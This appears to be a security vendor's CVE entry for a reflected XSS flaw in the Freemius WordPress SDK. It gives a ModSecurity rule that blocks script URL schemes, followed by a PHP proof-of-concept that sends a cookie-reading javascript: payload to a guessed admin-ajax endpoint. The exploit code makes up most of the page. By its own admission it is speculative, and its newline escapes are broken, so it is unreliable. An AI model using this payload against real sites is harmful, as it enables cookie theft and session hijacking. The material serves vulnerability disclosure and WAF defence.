CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (widgets-on-pages)

# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected XSS via 'url' parameter in Freemius AJAX handlers
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius SDK',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS_POST:action "@rx ^fs_" "chain"
    SecRule ARGS_POST:url "@rx (?:javascript|data|vbscript):" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// This PoC demonstrates exploitation of reflected XSS via the 'url' parameter
// against a WordPress site using a vulnerable Freemius SDK version.
// The endpoint is inferred from common Freemius AJAX patterns.

$target_url = 'http://example.com'; // Change this to the target WordPress URL

// Craft the malicious payload: a Javascript alert that displays the document's cookies
$payload = 'javascript:alert(document.cookie)';

// Build the exploit URL.
// Assumed vulnerable endpoint: /wp-admin/admin-ajax.php?action=fs_connect&url=PAYLOAD
// If this specific action does not exist, adjust 'action' parameter based on the plugin's actual integration.
$exploit_url = $target_url . '/wp-admin/admin-ajax.php?action=fs_connect&url=' . urlencode($payload);

echo "[+] Targeting: $target_urln";
echo "[+] Exploit URL: $exploit_urln";
echo "[+] Sending request...n";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    echo "[!] cURL error: $errorn";
    exit(1);
}

echo "[+] HTTP response code: $http_coden";

// Check if the payload appears in the response body (indicating reflection)
if (strpos($response, $payload) !== false) {
    echo "[+] SUCCESS: The payload was reflected in the response. The site is vulnerable.n";
} else {
    echo "[-] The payload was not reflected. The site may be patched or the endpoint is different.n";
    echo "[-] Try adjusting the 'action' parameter in the exploit URL to match the actual Freemius integration.n";
}

// Print partial response for debugging
echo "n[+] Response snippet:n";
echo substr($response, 0, 500) . "n";
?>